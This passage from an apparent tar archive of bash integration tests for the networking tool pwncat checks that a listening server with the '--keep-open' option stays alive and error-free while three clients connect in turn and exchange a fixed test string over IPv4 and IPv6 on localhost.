"${cli3_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # [ROUND-3: SEND] TEST: Server stays alive # -------------------------------------------------------------------------------- print_h2 "(12/13) Test: Server stays alive (round 3)" run "sleep 2" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" # [SERVER] Ensure Server is still running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" ### ### ### Final Server Shutdown ### ### # -------------------------------------------------------------------------------- # STOP: SERVER # -------------------------------------------------------------------------------- print_h2 "(13/13) Stop: Server" # [SERVER] Manually stop the Server action_stop_instance "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY run_test "-l ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "1" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "2" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "3" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "4" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "5" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "6" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "7" "14" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC run_test "-l ${RHOST} ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "8" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "9" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "10" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "11" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "12" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "13" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "14" "14" "${curr_round}" "${RUNS}" done 002---tcp---server_reacc---three_clients---server_default---cli_send-cli_send-cli_send.sh000077500000000000000000000341111414025024700423630ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/22-options---keep_open#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= local data_or= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="abcdefghijklmnopqrstuvwxyz1234567890\\n" data_or="abcdefghijklmnopqrstuvwxyz1234567890\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli1_stdout="$(tmp_file)" cli1_stderr="$(tmp_file)" cli2_stdout="$(tmp_file)" cli2_stderr="$(tmp_file)" cli3_stdout="$(tmp_file)" cli3_stderr="$(tmp_file)" ### ### ### Initial Server Start ### ### # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/14) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" ### ### ### ROUND-1 (SEND) ### ### # -------------------------------------------------------------------------------- # [ROUND-1: SEND] START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/14) Start: Client (round 1)" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli1_stdout}" "${cli1_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" # -------------------------------------------------------------------------------- # [ROUND-1: SEND] DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/14) Transfer: Client -> Server (round 1)" # [CLIENT -> SERVER] wait_for_data_transferred "" "${data}" "${data_or}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" # -------------------------------------------------------------------------------- # [ROUND-1: SEND] STOP: CLIENT # -------------------------------------------------------------------------------- print_h2 "(4/14) Stop: Client (round 1)" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # [ROUND-1: SEND] TEST: Server stays alive # -------------------------------------------------------------------------------- print_h2 "(5/14) Test: Server stays alive (round 1)" run "sleep 2" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" # [SERVER] Ensure Server is still running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" ### ### ### ROUND-2 (SEND) ### ### # -------------------------------------------------------------------------------- # [ROUND-2: SEND] START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(6/14) Start: Client (round 2)" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli2_stdout}" "${cli2_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" # -------------------------------------------------------------------------------- # [ROUND-2: SEND] DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(7/14) Transfer: Client -> Server (round 2)" # [CLIENT -> SERVER] wait_for_data_transferred "" "${data}${data}" "${data_or}${data_or}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" # -------------------------------------------------------------------------------- # [ROUND-2: SEND] STOP: CLIENT # -------------------------------------------------------------------------------- print_h2 "(8/14) Stop: Client (round 2)" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # [ROUND-2: SEND] TEST: Server stays alive # -------------------------------------------------------------------------------- print_h2 "(9/14) Test: Server stays alive (round 2)" run "sleep 2" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" # [SERVER] Ensure Server is still running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" ### ### ### ROUND-3 (SEND) ### ### # -------------------------------------------------------------------------------- # [ROUND-3: SEND] START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(10/14) Start: Client (round 3)" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli3_stdout}" "${cli3_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" # -------------------------------------------------------------------------------- # [ROUND-3: SEND] DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(11/14) Transfer: Client -> Server (round 3)" # [CLIENT -> SERVER] wait_for_data_transferred "" "${data}${data}${data}" "${data_or}${data_or}${data_or}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" # -------------------------------------------------------------------------------- # [ROUND-3: SEND] STOP: CLIENT # -------------------------------------------------------------------------------- print_h2 "(12/14) Stop: Client (round 3)" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # [ROUND-3: SEND] TEST: Server stays alive # -------------------------------------------------------------------------------- print_h2 "(13/14) Test: Server stays alive (round 3)" run "sleep 2" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" # [SERVER] Ensure Server is still running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" ### ### ### Final Server Shutdown ### ### # -------------------------------------------------------------------------------- # STOP: SERVER # -------------------------------------------------------------------------------- print_h2 "(14/14) Stop: Server" # [SERVER] Manually stop the Server action_stop_instance "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY run_test "-l ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "1" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "2" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "3" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "4" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "5" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "6" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "7" "14" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC run_test "-l ${RHOST} ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "8" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "9" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "10" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "11" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "12" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "13" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "14" "14" "${curr_round}" "${RUNS}" done 100---tcp---server_reacc---three_clients---server_default---srv_send-cli_nosend-cli_send.sh000077500000000000000000000331711414025024700427670ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/22-options---keep_open#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= local data_or= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="abcdefghijklmnopqrstuvwxyz1234567890\\n" data_or="abcdefghijklmnopqrstuvwxyz1234567890\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli1_stdout="$(tmp_file)" cli1_stderr="$(tmp_file)" cli2_stdout="$(tmp_file)" cli2_stderr="$(tmp_file)" cli3_stdout="$(tmp_file)" cli3_stderr="$(tmp_file)" ### ### ### Initial Server Start ### ### # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/13) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" ### ### ### ROUND-1 (SERVER SEND) ### ### # -------------------------------------------------------------------------------- # [ROUND-1: SERVER SEND] START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/13) Start: Client (round 1)" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli1_stdout}" "${cli1_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" # -------------------------------------------------------------------------------- # [ROUND-1: SERVER SEND] DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/13) Transfer: Server -> Client (round 1)" # [SERVER -> CLIENT] wait_for_data_transferred "" "${data}" "${data_or}" "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # [ROUND-1: SERVER SEND] STOP: CLIENT # -------------------------------------------------------------------------------- print_h2 "(4/13) Stop: Client (round 1)" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # [ROUND-1: SERVER SEND] TEST: Server stays alive # -------------------------------------------------------------------------------- print_h2 "(5/13) Test: Server stays alive (round 1)" run "sleep 2" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" # [SERVER] Ensure Server is still running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" ### ### ### ROUND-2 (NO SEND) ### ### # -------------------------------------------------------------------------------- # [ROUND-2: NO SEND] START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(6/13) Start: Client (round 2)" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli2_stdout}" "${cli2_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" # -------------------------------------------------------------------------------- # [ROUND-2: NO SEND] STOP: CLIENT # -------------------------------------------------------------------------------- print_h2 "(7/13) Stop: Client (round 2)" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # [ROUND-2: NO SEND] TEST: Server stays alive # -------------------------------------------------------------------------------- print_h2 "(8/13) Test: Server stays alive (round 2)" run "sleep 2" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" # [SERVER] Ensure Server is still running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" ### ### ### ROUND-3 (SEND) ### ### # -------------------------------------------------------------------------------- # [ROUND-3: SEND] START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(9/13) Start: Client (round 3)" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli3_stdout}" "${cli3_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" # -------------------------------------------------------------------------------- # [ROUND-3: SEND] DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(10/13) Transfer: Client -> Server (round 3)" # [CLIENT -> SERVER] wait_for_data_transferred "" "${data}" "${data_or}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" # -------------------------------------------------------------------------------- # [ROUND-3: SEND] STOP: CLIENT # -------------------------------------------------------------------------------- print_h2 "(11/13) Stop: Client (round 3)" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # [ROUND-3: SEND] TEST: Server stays alive # -------------------------------------------------------------------------------- print_h2 "(12/13) Test: Server stays alive (round 3)" run "sleep 2" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" # [SERVER] Ensure Server is still running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" ### ### ### Final Server Shutdown ### ### # -------------------------------------------------------------------------------- # STOP: SERVER # -------------------------------------------------------------------------------- print_h2 "(13/13) Stop: Server" # [SERVER] Manually stop the Server action_stop_instance "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY run_test "-l ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "1" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "2" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "3" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "4" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "5" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "6" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "7" "14" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC run_test "-l ${RHOST} ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "8" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown --keep-open 